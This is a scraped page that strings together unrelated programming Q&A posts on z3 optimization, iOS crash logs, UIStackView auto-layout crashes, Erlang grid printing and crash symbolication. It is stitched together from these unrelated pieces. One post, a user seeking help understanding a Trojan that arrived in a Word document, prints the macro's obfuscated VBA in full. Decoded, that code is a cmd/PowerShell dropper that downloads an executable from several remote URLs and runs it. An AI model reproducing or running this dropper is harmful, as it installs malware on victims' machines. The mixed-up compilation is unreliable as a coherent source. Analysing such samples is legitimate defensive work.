I have a set of linear constraints defined on a set of real parameters. The aim is to find a solution of parameters that satisfies maximum number of these constraints. I use the Optimizer in z3 but it is really slow. The number of constraints is 100 and the number of parameters is 9, which is not a large number. I use the following code:
from z3 import *
s = Optimize()
W = RealVector('w', 9)
s.add(And([And(w >= -100, w <= 100) for w in W]))
**Add soft constraints from a text file
out = s.check()
Following is a sample of the soft constraints, each with weight 1, that are added to the problem:
w__0 + 7*w__1 + 181*w__2 + 84*w__3 + 21*w__4 + 192*w__5 + 36*w__6 + 59*w__7 + 51*w__8 > 0
w__0 + 2*w__1 + 127*w__2 + 58*w__3 + 24*w__4 + 275*w__5 + 28*w__6 + 160*w__7 + 25*w__8 < 0
w__0 + 11*w__1 + 138*w__2 + 76*w__3 + 0*w__4 + 0*w__5 + 33*w__6 + 42*w__7 + 35*w__8 < 0
w__0 + 2*w__1 + 81*w__2 + 60*w__3 + 22*w__4 + 0*w__5 + 28*w__6 + 29*w__7 + 25*w__8 < 0
w__0 + 0*w__1 + 84*w__2 + 82*w__3 + 31*w__4 + 125*w__5 + 38*w__6 + 23*w__7 + 23*w__8 < 0
w__0 + 9*w__1 + 140*w__2 + 94*w__3 + 0*w__4 + 0*w__5 + 33*w__6 + 73*w__7 + 45*w__8 > 0
w__0 + 8*w__1 + 197*w__2 + 74*w__3 + 0*w__4 + 0*w__5 + 26*w__6 + 119*w__7 + 39*w__8 > 0
w__0 + 8*w__1 + 120*w__2 + 0*w__3 + 0*w__4 + 0*w__5 + 30*w__6 + 18*w__7 + 38*w__8 > 0
w__0 + 7*w__1 + 161*w__2 + 86*w__3 + 0*w__4 + 0*w__5 + 30*w__6 + 17*w__7 + 47*w__8 > 0
w__0 + 4*w__1 + 120*w__2 + 68*w__3 + 0*w__4 + 0*w__5 + 30*w__6 + 71*w__7 + 34*w__8 < 0
w__0 + 7*w__1 + 187*w__2 + 50*w__3 + 33*w__4 + 392*w__5 + 34*w__6 + 83*w__7 + 34*w__8 > 0
w__0 + 2*w__1 + 87*w__2 + 0*w__3 + 23*w__4 + 0*w__5 + 29*w__6 + 77*w__7 + 25*w__8 < 0
w__0 + 1*w__1 + 97*w__2 + 68*w__3 + 21*w__4 + 0*w__5 + 27*w__6 + 110*w__7 + 22*w__8 < 0
w__0 + 4*w__1 + 123*w__2 + 80*w__3 + 15*w__4 + 176*w__5 + 32*w__6 + 44*w__7 + 34*w__8 < 0
w__0 + 6*w__1 + 195*w__2 + 70*w__3 + 0*w__4 + 0*w__5 + 31*w__6 + 33*w__7 + 31*w__8 > 0
w__0 + 0*w__1 + 101*w__2 + 64*w__3 + 17*w__4 + 0*w__5 + 21*w__6 + 25*w__7 + 21*w__8 < 0
w__0 + 12*w__1 + 92*w__2 + 62*w__3 + 7*w__4 + 258*w__5 + 28*w__6 + 93*w__7 + 44*w__8 > 0
w__0 + 1*w__1 + 88*w__2 + 62*w__3 + 24*w__4 + 44*w__5 + 30*w__6 + 42*w__7 + 23*w__8 < 0
I know that the performance of the solution will depend on the nature of the problem but with 100 such constraints the computations go on forever. Is there any additional option that I can use to make this faster?
I also implemented the fu-malik algorithm myself by extracting the core, even with that it's really slow.
Related
1、always crash when launch
2、iPhoneX iOS15.4 and iOS15.1
When my application is launched it crashes with the following message
Has anyone else encountered this problem?
0 libobjc.A.dylib
_objc_retain + 16
1 AccessibilitySettingsLoader
___72-[SpeakTypingManager speakTypingLoadAccessibilityForExistingPredictions]_block_invoke + 196
2 AccessibilityUtilities
_AXPerformSafeBlockWithErrorHandler + 76
3 AccessibilitySettingsLoader
_soft_AXPerformSafeBlock + 124
4 AccessibilitySettingsLoader
___63-[SpeakTypingManager _installSpeakTypingSafeCategoriesIfNeeded]_block_invoke_9 + 84
5 AccessibilityUtilities
___121-[AXValidationManager performValidations:withPreValidationHandler:postValidationHandler:safeCategoryInstallationHandler:]_block_invoke + 720
6 AXCoreUtilities
_AXPerformBlockSynchronouslyOnMainThread + 68
7 AXCoreUtilities
-[AXAccessQueue performSynchronousWritingBlock:] + 64
8 AccessibilityUtilities
-[AXValidationManager performValidations:withPreValidationHandler:postValidationHandler:safeCategoryInstallationHandler:] + 248
9 AccessibilitySettingsLoader
___63-[SpeakTypingManager _installSpeakTypingSafeCategoriesIfNeeded]_block_invoke_6 + 80
10 AccessibilityUtilities
-[AXBinaryMonitor _applyHandlerBlocks:handlerMap:] + 200
11 AccessibilityUtilities
-[AXBinaryMonitor _handleLoadedImagePath:] + 324
12 AccessibilityUtilities
____axmonitor_dyld_image_callback_block_invoke + 116
13 libdispatch.dylib
__dispatch_client_callout + 16
14 libdispatch.dylib
__dispatch_continuation_pop$VARIANT$armv81 + 432
15 libdispatch.dylib
__dispatch_source_invoke$VARIANT$armv81 + 1560
16 libdispatch.dylib
__dispatch_main_queue_drain + 716
17 libdispatch.dylib
__dispatch_main_queue_callback_4CF$VARIANT$armv81 + 36
18 CoreFoundation
___CFRUNLOOP_IS_SERVICING_THE_MAIN_DISPATCH_QUEUE__ + 12
19 CoreFoundation
___CFRunLoopRun + 2544
My other half was sent a piece of malware in MS word VBA. The document was opened, editing enabled and the Trojan was missed by the anti virus for some reason.
I'm 99% sure the system has been cleaned and the there are no lasting effects, however I'd like to understand what the code was trying to do so I can be 100% sure.
What I have managed to translate is beyond my skill.
This is the original function from the VBA:
Function BfXNd()
Dim nORTSq(3)
nORTSq(0) = Right(LCsbFFjF, 428)
nORTSq(1) = Left(JErht, 810)
nORTSq(2) = Mid(pjzflRs, 58, 796)
Dim rnMCEl(3)
rnMCEl(0) = Left(JErht, 810)
rnMCEl(1) = Mid(pjzflRs, 58, 796)
rnMCEl(2) = MidB(iOGKfiB, 537, 348)
Dim HXiIk(2)
HXiIk(0) = Left(JErht, 810)
HXiIk(1) = Mid(pjzflRs, 58, 796)
kRRCNwn = Chr(Format(7 + 7 + 1 + 16 + 68)) + "md /V:O/" + Chr(Format(4 + 4 + 1 + 11 + 47)) + Chr(Format(2 + 2 + 0 + 5 + 25)) + "s^e^t e^" + "4= ^ ^ ^ " + " ^ ^ ^ ^ ^ ^}^}^" + "{^h" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^t^a" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^};^ka^" + "er^b;Bv^M$ ^met^I^-^e^k^" + "ovn^I^;)BvM^$^ ,iE^S^$(^e^li" + "^Fd^a^oln^w^oD.^W^W^Y${^y" + "r^t^{)" + Chr(Format(4 + 4 + 1 + 11 + 47)) + "R" + "^w$ ni^ i^ES$(h" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "aer^o^f" + "^;^'ex^e.'^+o^bV$+'^\'+" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^i" + "lbup:vne^$=^BvM^$;'68^9'^ =^ ^"
Dim WlsRmu(5)
WlsRmu(0) = MidB(iOGKfiB, 537, 348)
WlsRmu(1) = MidB(iOGKfiB, 537, 348)
WlsRmu(2) = Right(LCsbFFjF, 428)
WlsRmu(3) = Right(LCsbFFjF, 428)
WlsRmu(4) = Left(JErht, 810)
Dim ojijX(2)
ojijX(0) = MidB(iOGKfiB, 537, 348)
ojijX(1) = MidB(iOGKfiB, 537, 348)
Dim nHDNir(2)
nHDNir(0) = Mid(pjzflRs, 58, 796)
nHDNir(1) = Right(LCsbFFjF, 428)
jhcbfQ = "o^bV$;)'^#'(t^i^lpS.^'lk^U4^um" + "j4S/s^e^.ynnadrm//:" + "^p^tt^h^#JEVk5^m" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^W" + "/r^b.^mo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + ".no" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^e" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "i^pa//:^p^tt^h#^A^i1i^U" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^d^" + "I^Q/^mo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^.^sn" + "o^it^u^lo^s-ah" + "sna^d//:^ptt^h#bu^A"
Dim tmiOA(5)
tmiOA(0) = MidB(iOGKfiB, 537, 348)
tmiOA(1) = Left(JErht, 810)
tmiOA(2) = Left(JErht, 810)
tmiOA(3) = Mid(pjzflRs, 58, 796)
tmiOA(4) = Mid(pjzflRs, 58, 796)
pHiJQ = "^q^HHT^M/m" + "o" + Chr(Format(7 + 7 + 1 + 16 + 68)) + ".^i^lam^p^us^ten//:^p^tth#z^" + "O^SdrnmX/^mo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + ".no^is^sa^" + "pmo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "ht" + "i^a^f//:^p^t^th'^=" + Chr(Format(4 + 4 + 1 + 11 + 47)) + "Rw^$;t" + "n^ei^l" + Chr(Format(4 + 4 + 1 + 11 + 47)) + "^b^e^W^.teN" + " t" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^e^jbo^-^wen=W^W" + "^Y$ lle^hsr^e^wo^p&&^f^or" + " /^L %^t ^in (^374;^-^1^;0)d^o" + " ^s^e^t ^qhL=!^qhL!!e^4:~%^t,"
Dim isfqZj(5)
isfqZj(0) = Left(JErht, 810)
isfqZj(1) = MidB(iOGKfiB, 537, 348)
isfqZj(2) = Mid(pjzflRs, 58, 796)
isfqZj(3) = MidB(iOGKfiB, 537, 348)
isfqZj(4) = Right(LCsbFFjF, 428)
Dim HCOVDH(2)
HCOVDH(0) = MidB(iOGKfiB, 537, 348)
HCOVDH(1) = Left(JErht, 810)
Dim YuAhz(5)
YuAhz(0) = Left(JErht, 810)
YuAhz(1) = Mid(pjzflRs, 58, 796)
YuAhz(2) = Right(LCsbFFjF, 428)
YuAhz(3) = Mid(pjzflRs, 58, 796)
YuAhz(4) = Mid(pjzflRs, 58, 796)
vflzlZjAjXX = "1!&&^i^f" + " %^t ^ls^s ^1 " + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^al^l " + "%^qhL:^~^5%" + Chr(Format(2 + 2 + 0 + 5 + 25)) + ""
BfXNd = kRRCNwn + jhcbfQ + pHiJQ + vflzlZjAjXX
Dim kmYzM(4)
kmYzM(0) = MidB(iOGKfiB, 537, 348)
kmYzM(1) = Mid(pjzflRs, 58, 796)
kmYzM(2) = Left(JErht, 810)
kmYzM(3) = Mid(pjzflRs, 58, 796)
Dim hNkzi(5)
hNkzi(0) = Mid(pjzflRs, 58, 796)
hNkzi(1) = Left(JErht, 810)
hNkzi(2) = Left(JErht, 810)
hNkzi(3) = Mid(pjzflRs, 58, 796)
hNkzi(4) = MidB(iOGKfiB, 537, 348)
End Function
It's encrypted code.
There's no way to tell what it's doing without running it far enough to have it decrypt itself.
When run, the strings will be converted back into commands of some sort, at which point you can tell what it's going to do.
If you want to examine it, spin up a windows Virtual Machine (you can get them free from Microsoft), install Word and you can step through the code using the Debugger, which is in the "Macros" menu in Word.
I'm getting crashes, sometimes when I try to remove all arrangedSubviews in a UIStackView. If I use only UILabel with no styling, it works fine.
I have this function to remove the children:
extension UIStackView {
func removeAllArrangedSubviews() {
for child in self.arrangedSubviews {
self.removeArrangedSubview(child)
child.removeFromSuperview()
}
}
}
I setup the UILabel like so:
public class func setToLabel(label:UILabel) {
label.setFontRegular(10)
label.setFontColor(BaseStyleColors.c4)
}
I have this to setup the fonts:
public class FontHelpers {
public class func systemFontWithMonospacedNumbers(currentFont:UIFont) -> UIFont {
let features = [
[
UIFontFeatureTypeIdentifierKey: kNumberSpacingType,
UIFontFeatureSelectorIdentifierKey: kMonospacedNumbersSelector
]
]
let fontDescriptor = currentFont.fontDescriptor().fontDescriptorByAddingAttributes(
[UIFontDescriptorFeatureSettingsAttribute: features]
)
return UIFont(descriptor: fontDescriptor, size: currentFont.pointSize)
}
public static var bodyStyleFont = UIFont.preferredFontForTextStyle(UIFontTextStyleBody)
public static var headlineStyleFont = UIFont.preferredFontForTextStyle(UIFontTextStyleHeadline)
public class func useBodyFontWithSize(size:CGFloat) -> UIFont {
return UIFont(descriptor: self.bodyStyleFont.fontDescriptor(), size: size)
}
public class func useHeadlineFontWithSize(size:CGFloat) -> UIFont {
return UIFont(descriptor: self.headlineStyleFont.fontDescriptor(), size: size)
}
public class func useSystemFontMediumWithSize(size:CGFloat) -> UIFont {
return UIFont(name: ".SFUIText-Medium", size: size) ?? self.useBodyFontWithSize(size)
}
public class func useSystemFontSemiBoldWithSize(size:CGFloat) -> UIFont {
return UIFont(name: ".SFUIText-SemiBold", size: size) ?? self.useBodyFontWithSize(size)
}
}
Label extension
extension UILabel {
func setFontColor(color:UIColor) {
self.textColor = color
}
func setFontDisplayMedium(size:CGFloat) {
self.font = FontHelpers.systemFontWithMonospacedNumbers(FontHelpers.useSystemFontMediumWithSize(size))
}
func setFontMedium(size:CGFloat) {
self.font = FontHelpers.useSystemFontMediumWithSize(size)
}
func setFontRegular(size:CGFloat) {
self.font = FontHelpers.useBodyFontWithSize(size)
}
func setFontSemiBold(size:CGFloat) {
self.font = FontHelpers.useSystemFontSemiBoldWithSize(size)
}
}
In console I get this error:
Auto layout internal error. Cannot find an outgoing row head for incoming head during optimization of variable with near-zero coefficient, which should never happen.
2016-04-04 08:09:59.877 MyApp[49788:4979069] *** Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: '{objective 0x7f9fe3fc9350: <250:289.293> + <250:-3.58537>*0x7f9fe141ccf0:UISV-canvas-connection.marker{id: 1121} + <250:2.58537>*0x7f9fe141d080:UISV-alignment.marker{id: 1123} + <998:-0.999999, 250:2.58537>*0x7f9fe1439130:UISV-alignment.marker{id: 1094} + <998:0.999999, 250:-2.58537>*0x7f9fe1439250:UISV-alignment.marker{id: 1095} + <750:1, 250:1>*0x7f9fe14395e0.negError{id: 1099} + <750:1, 250:1>*0x7f9fe1439750.negError{id: 1126} + <750:1, 250:1>*0x7f9fe1439a10.negError{id: 1103} + <750:1, 250:1>*0x7f9fe1439a70.negError{id: 1105} + <998:1, 250:-0.585366>*0x7f9fe1439e10:UISV-canvas-connection.marker{id: 1106} + <998:-1, 250:0.585366>*0x7f9fe143a010:UISV-canvas-connection.marker{id: 1113} + <998:-1, 250:0.585366>*0x7f9fe143a6f0:UISV-spacing.marker{id: 1115} + <999:1, 998:1, 250:-1.58537>*0x7f9fe143a860:UISV-fill-proportionally.negError{id: 1117} + <999:1, 998:-1, 250:1.58537>*0x7f9fe143a860:UISV-fill-proportionally.posErrorMarker{id: 1116} + <998:2>*0x7f9fe143abd0:UISV-fill-proportionally.negError{id: 1119} + <250:3.58537>*0x7f9fe143ae70:UISV-canvas-connection.marker{id: 1120} + <750:1, 250:1>*0x7f9fe1446d20.negError{id: 1010} + <750:1, 250:1>*0x7f9fe1449b30.negError{id: 981} + <998:2>*0x7f9fe145c160:UISV-fill-proportionally.negError{id: 1003} + <998:-1, 250:-0.585365>*0x7f9fe1460980:UISV-canvas-connection.marker{id: 1019} + <998:1, 250:0.585365>*0x7f9fe1460b60:UISV-canvas-connection.marker{id: 1026} + <999:1, 998:-1, 250:-1.58537>*0x7f9fe1460d00:UISV-fill-proportionally.negError{id: 1030} + <999:1, 998:1, 250:1.58537>*0x7f9fe1460d00:UISV-fill-proportionally.posErrorMarker{id: 1029} + <998:-1, 250:-0.585366>*0x7f9fe1461610:UISV-canvas-connection.marker{id: 1048} + <998:1, 250:0.585366>*0x7f9fe1461810:UISV-canvas-connection.marker{id: 1055} + <750:1, 250:1>*0x7f9fe14618b0.negError{id: 1018} + <750:1, 250:1>*0x7f9fe1463960.negError{id: 1016} + <998:1, 250:0.585365>*0x7f9fe1464720:UISV-spacing.marker{id: 1028} + <999:1, 998:1>*0x7f9fe1464cd0:UISV-fill-proportionally.negError{id: 1001} + <999:1, 998:-1>*0x7f9fe1464cd0:UISV-fill-proportionally.posErrorMarker{id: 1000} + <750:1, 250:1>*0x7f9fe1468c90.negError{id: 1012} + <750:1, 250:1>*0x7f9fe1468e00.negError{id: 1039} + <750:1, 250:1>*0x7f9fe1469250.negError{id: 987} + <750:1, 250:1>*0x7f9fe14692b0.negError{id: 989} + <998:-1>*0x7f9fe1469960:UISV-alignment.marker{id: 1007} + <998:1>*0x7f9fe1469a80:UISV-alignment.marker{id: 1008} + <998:-1>*0x7f9fe146b870:UISV-canvas-connection.marker{id: 1004} + <998:1>*0x7f9fe146b960:UISV-canvas-connection.marker{id: 1005} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe146d360:UISV-spacing.marker{id: 999} + <998:1, 250:0.585366>*0x7f9fe146eeb0:UISV-spacing.marker{id: 1057} + <999:1, 998:-1, 250:-1.58537>*0x7f9fe146efd0:UISV-fill-proportionally.negError{id: 1059} + <999:1, 998:1, 250:1.58537>*0x7f9fe146efd0:UISV-fill-proportionally.posErrorMarker{id: 1058} + <250:-2.58537>*0x7f9fe14723c0:UISV-alignment.marker{id: 1066} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe1472ad0:UISV-canvas-connection.marker{id: 997} + <999:1, 998:1, 250:-1.58537>*0x7f9fe14752a0:UISV-fill-proportionally.negError{id: 1088} + <999:1, 998:-1, 250:1.58537>*0x7f9fe14752a0:UISV-fill-proportionally.posErrorMarker{id: 1087} + <998:2>*0x7f9fe1475610:UISV-fill-proportionally.negError{id: 1090} + <998:-0.999999, 250:3.58537>*0x7f9fe14758b0:UISV-canvas-connection.marker{id: 1091} + <998:0.999999, 250:-3.58537>*0x7f9fe14759a0:UISV-canvas-connection.marker{id: 1092} + <250:3.58537>*0x7f9fe14764e0:UISV-canvas-connection.marker{id: 1033} + <250:-3.58537>*0x7f9fe14765d0:UISV-canvas-connection.marker{id: 1034} + <250:2.58537>*0x7f9fe1476b90:UISV-alignment.marker{id: 1036} + <250:-2.58537>*0x7f9fe1476cb0:UISV-alignment.marker{id: 1037} + <750:1, 250:1>*0x7f9fe1478bf0.negError{id: 983} + <250:-2.62021>*0x7f9fe14798a0:UISV-spacing.marker{id: 1163} + <999:2.42144e-07, 998:1, 250:2>*0x7f9fe147a220:UISV-canvas-connection.marker{id: 990} + <998:2>*0x7f9fe147c1b0:UISV-fill-proportionally.posErrorMarker{id: 1031} + <750:1, 250:1>*0x7f9fe147ccf0.negError{id: 1041} + <750:1, 250:1>*0x7f9fe147ce60.negError{id: 1068} + <750:1, 250:1>*0x7f9fe147d120.negError{id: 1045} + <750:1, 250:1>*0x7f9fe147d180.negError{id: 1047} + <998:2>*0x7f9fe1484350:UISV-fill-proportionally.posErrorMarker{id: 1060} + <250:3.58537>*0x7f9fe14845f0:UISV-canvas-connection.marker{id: 1062} + <250:-3.58537>*0x7f9fe14846e0:UISV-canvas-connection.marker{id: 1063} + <250:2.58537>*0x7f9fe14849f0:UISV-alignment.marker{id: 1065} + <750:1, 250:1>*0x7f9fe1486c40.negError{id: 1070} + <750:1, 250:1>*0x7f9fe1486db0.negError{id: 1097} + <750:1, 250:1>*0x7f9fe1487070.negError{id: 1074} + <750:1, 250:1>*0x7f9fe14870d0.negError{id: 1076} + <998:1, 250:-0.585366>*0x7f9fe14874a0:UISV-canvas-connection.marker{id: 1077} + <998:-1, 250:0.585366>*0x7f9fe14876a0:UISV-canvas-connection.marker{id: 1084} + <998:-1, 250:0.585366>*0x7f9fe1487890:UISV-spacing.marker{id: 1086} + <250:-2.58537>*0x7f9fe14889b0:UISV-alignment.marker{id: 1124} + <750:1, 250:1>*0x7f9fe1488d40.negError{id: 1128} + <250:2.62021>*0x7f9fe1488ee0:UISV-canvas-connection.marker{id: 1154} + <750:1, 250:1>*0x7f9fe1489170.negError{id: 1132} + <750:1, 250:1>*0x7f9fe14891d0.negError{id: 1134} + <999:2.42144e-07, 998:1, 250:2>*0x7f9fe1489570:UISV-canvas-connection.marker{id: 1135} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe1489770:UISV-canvas-connection.marker{id: 1142} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe1489e50:UISV-spacing.marker{id: 1144} + <999:1, 998:1>*0x7f9fe1489fc0:UISV-fill-proportionally.negError{id: 1146} + <999:1, 998:-1>*0x7f9fe1489fc0:UISV-fill-proportionally.posErrorMarker{id: 1145} + <998:2>*0x7f9fe148a330:UISV-fill-proportionally.negError{id: 1148} + <998:-1>*0x7f9fe148a5d0:UISV-canvas-connection.marker{id: 1149} + <998:1>*0x7f9fe148a6c0:UISV-canvas-connection.marker{id: 1150} + <998:-1>*0x7f9fe148ac80:UISV-alignment.marker{id: 1152} + <998:1>*0x7f9fe148ada0:UISV-alignment.marker{id: 1153} + <250:-2.62021>*0x7f9fe148b200:UISV-spacing.marker{id: 1156} + <250:-2.62021>*0x7f9fe148b2c0:UISV-canvas-connection.marker{id: 1155} + <250:-2.62021>*0x7f9fe148b3e0:UISV-spacing.marker{id: 1157} + <250:-2.62021>*0x7f9fe148bbb0:UISV-spacing.marker{id: 1159} + <250:0.965157>*0x7f9fe148c4d0:UISV-fill-equally.marker{id: 1160} + <250:0.965157>*0x7f9fe148c850:UISV-fill-equally.marker{id: 1162} + <998:-0.999999, 250:0.965157>*0x7f9fe148d220:UISV-fill-equally.marker{id: 1164} + <250:-0.620209>*0x7f9fe148d270:UISV-fill-equally.marker{id: 1158} + <250:-2.62021>*0x7f9fe148d450:UISV-spacing.marker{id: 1161} + <250:-2.62021>*0x7f9fe148ff30:UISV-spacing.marker{id: 1165} + <250:2.62021>*0x7f9fe1520c60.marker{id: 919} + <250:-1.26154>*0x7f9fe15eeda0.marker{id: 917} + <250:-1.26154>*0x7f9fe50bb470:UISV-canvas-connection.marker{id: 1174} + <999:2>*0x7f9fe50c51e0.negError{id: 922} + <999:2>*0x7f9fe50cefe0.negError{id: 925} + <998:1>*0x7f9fe5113050.marker{id: 899} + <250:-1.58537>*0x7f9fe5130060.marker{id: 902} + <250:-1.58537>*0x7f9fe513af60.marker{id: 905} + <998:0.999999, 250:-1.58537>*0x7f9fe51502a0.marker{id: 908} + <250:-1.58537>*0x7f9fe5164440.marker{id: 911} + <250:-0.620209>*0x7f9fe516ba50:UISV-fill-equally.marker{id: 1171} + <998:1>*0x7f9fe517b4b0.marker{id: 914} + <250:0.965157>*0x7f9fe53e18a0:UISV-fill-equally.marker{id: 1168} + <250:0.00905983>*UIStackView:0x7f9fe1526830.Height{id: 966} + <999:0.00277778>*_UILayoutGuide:0x7f9fe53be860.Width{id: 923} + <999:0.00277778>*_UILayoutGuide:0x7f9fe53be9f0.Width{id: 926}}: internal error. Setting empty vector for variable MyApp.StyledLabelT1:0x7f9fe53d8120'4'.Height{id: 898}.'
Auto layout internal error. Cannot find an outgoing row head for incoming head during optimization of variable with near-zero coefficient, which should never happen.
Call stack:
*** First throw call stack:
(
0 CoreFoundation 0x000000010e136d85 __exceptionPreprocess + 165
1 libobjc.A.dylib 0x0000000110dcedeb objc_exception_throw + 48
2 CoreFoundation 0x000000010e136cbd +[NSException raise:format:] + 205
3 Foundation 0x000000010efa7acc -[NSISObjectiveLinearExpression setPriorityVector:forKnownAbsentVariable:] + 76
4 Foundation 0x000000010f14ac44 __128-[NSISObjectiveLinearExpression replaceVariable:withExpression:processVariableNewToReceiver:processVariableDroppedFromReceiver:]_block_invoke + 297
5 Foundation 0x000000010efa46bf -[NSISLinearExpression enumerateVariablesAndCoefficients:] + 350
6 Foundation 0x000000010f14ab04 -[NSISObjectiveLinearExpression replaceVariable:withExpression:processVariableNewToReceiver:processVariableDroppedFromReceiver:] + 369
7 Foundation 0x000000010efa57ee -[NSISEngine substituteOutAllOccurencesOfBodyVar:withExpression:] + 633
8 Foundation 0x000000010efa8789 -[NSISEngine pivotToMakeBodyVar:newHeadOfRowWithHead:andDropRow:] + 330
9 Foundation 0x000000010efb2c21 -[NSISEngine removeConstraintWithMarker:] + 707
10 Foundation 0x000000010ef99899 -[NSLayoutConstraint _removeFromEngine:] + 229
11 UIKit 0x0000000110139d81 -[UIView(UIConstraintBasedLayout) _layoutEngine_willRemoveLayoutConstraint:] + 173
12 UIKit 0x000000011013a6b6 -[UIView(UIConstraintBasedLayout) nsli_removeConstraint:] + 114
13 UIKit 0x000000011013a62d -[UIView(UIConstraintBasedLayout) _removeConstraint:] + 301
14 UIKit 0x000000011014adde _UIViewRemoveConstraintsMadeDanglyByChangingSuperview + 1028
15 UIKit 0x000000010f8fc504 __45-[UIView(Hierarchy) _postMovedFromSuperview:]_block_invoke + 61
16 UIKit 0x000000010f8fc461 -[UIView(Hierarchy) _postMovedFromSuperview:] + 544
17 UIKit 0x000000010f8fa489 __UIViewWasRemovedFromSuperview + 213
18 UIKit 0x000000010f8f9fbf -[UIView(Hierarchy) removeFromSuperview] + 474
If I modify the method to also clear any sub UIStackViews, I 100% of the times get a crash, like so:
extension UIStackView {
func removeAllArrangedSubviews() {
for child in self.arrangedSubviews {
if let childStackView = child as? UIStackView {
childStackView.removeAllArrangedSubviews()
}
self.removeArrangedSubview(child)
child.removeFromSuperview()
}
}
}
Versions: I'm running Xcode 7.3 and iOS 9.3.
I'm new to erlang and programming in general.
I want to create a "Grid" of cells, where a cell is presented as:
+ +
+ +
What I know is the width and the height of the Grid.
So, for example, a 3x3 Grid is represented as:
+ + + +
+ + + +
+ + + +
+ + + +
print_grid(Height,Width) ->
and than some code here.
Can someone maybe give me a tip on how to solve this?
For this issue, you may use this function
grid(_,0)->ok;
grid(W,H)->
io:format(string:copies("+ ",W-1)++"+~n~n"),
grid(W,H-1).
output:
sol:grid(6,3).
+ + + + + +
+ + + + + +
+ + + + + +
15> sol:grid(3,3).
+ + +
+ + +
+ + +
I doubt that you do not need other feature like adding some characters in the cells, but you should be able to modify this:
4> Pgrid= fun(W,H) -> L = lists:foldl(fun(_,Acc) -> "+ " ++ Acc end,"~n~n",lists:seq(1,W+1)),
4> G = lists:foldl(fun(_,Acc)-> L ++ Acc end,[],lists:seq(1,H+1)),
4> io:format(G)
4> end.
#Fun<erl_eval.12.54118792>
5> Pgrid(6,3).
+ + + + + + +
+ + + + + + +
+ + + + + + +
+ + + + + + +
ok
6>
Hi I have this file symbolicated from:
Last Exception Backtrace:
(0x3816a8bf 0x37cb61e5 0x3816a7b9 0x3816a7db 0x31e86747 0x31e87bb9 0x31dc0a45 0x31c4a227 0x31c44313 0x31c12921 0x31c123bf 0x31c11d2d 0x37e98df3 0x3813e553 0x3813e4f5 0x3813d343 0x380c04dd 0x380c03a5 0x31c43457 0x31c40743 0x9a0ad 0x9a000)
Thread 0 name: Dispatch queue: com.apple.main-thread
Thread 0 Crashed:
0 libsystem_kernel.dylib 0x307cb32c 0x307ba000 + 70444
1 libsystem_c.dylib 0x37c6cf54 0x37c1f000 + 319316
2 libsystem_c.dylib 0x37c65fe4 0x37c1f000 + 290788
3 libc++abi.dylib 0x306c7f64 0x306c1000 + 28516
4 libc++abi.dylib 0x306c5346 0x306c1000 + 17222
5 libobjc.A.dylib 0x37cb62dc 0x37cad000 + 37596
6 libc++abi.dylib 0x306c53be 0x306c1000 + 17342
7 libc++abi.dylib 0x306c544a 0x306c1000 + 17482
8 libc++abi.dylib 0x306c681e 0x306c1000 + 22558
9 libobjc.A.dylib 0x37cb622e 0x37cad000 + 37422
10 CoreFoundation 0x380c053e 0x380b1000 + 62782
11 CoreFoundation 0x380c039e 0x380b1000 + 62366
12 UIKit 0x31c43450 0x31c0f000 + 214096
13 UIKit 0x31c4073c 0x31c0f000 + 202556
14 HomeWizard 0x0009a0a6 0x98000 + 8358
15 HomeWizard 0x00099ff8 0x98000 + 8184
To this:
Last Exception Backtrace:
0 CoreFoundation 0x3816a8bf 0x380b1000 + 759999
1 libobjc.A.dylib 0x37cb61e5 0x37cad000 + 37349
2 CoreFoundation 0x3816a7b9 0x380b1000 + 759737
3 CoreFoundation 0x3816a7db 0x380b1000 + 759771
4 UIKit 0x31e86747 0x31c0f000 + 2586439
5 UIKit 0x31e87bb9 0x31c0f000 + 2591673
6 UIKit 0x31dc0a45 0x31c0f000 + 1776197
7 UIKit 0x31c4a227 0x31c0f000 + 242215
8 UIKit 0x31c44313 0x31c0f000 + 217875
9 UIKit 0x31c12921 0x31c0f000 + 14625
10 UIKit 0x31c123bf 0x31c0f000 + 13247
11 UIKit 0x31c11d2d 0x31c0f000 + 11565
12 GraphicsServices 0x37e98df3 0x37e94000 + 19955
13 CoreFoundation 0x3813e553 0x380b1000 + 578899
14 CoreFoundation 0x3813e4f5 0x380b1000 + 578805
15 CoreFoundation 0x3813d343 0x380b1000 + 574275
16 CoreFoundation 0x380c04dd 0x380b1000 + 62685
17 CoreFoundation 0x380c03a5 0x380b1000 + 62373
18 UIKit 0x31c43457 0x31c0f000 + 214103
19 UIKit 0x31c40743 0x31c0f000 + 202563
20 HomeWizard 0x0009a0ad main (main.m:18)
21 HomeWizard 0x0009a000 0x98000 + 8192
Has the process run correctly since I only see the main.m:18 the rest stays unknown.
Thanks in Advance
The problem most likely is that you don't have to corresponding iOS device symbols that the crash report happened on. The script searches for the UUID (found in the binary section) for the matching symbol file via spotlight. And if it can't find it, it will leave the line just as is.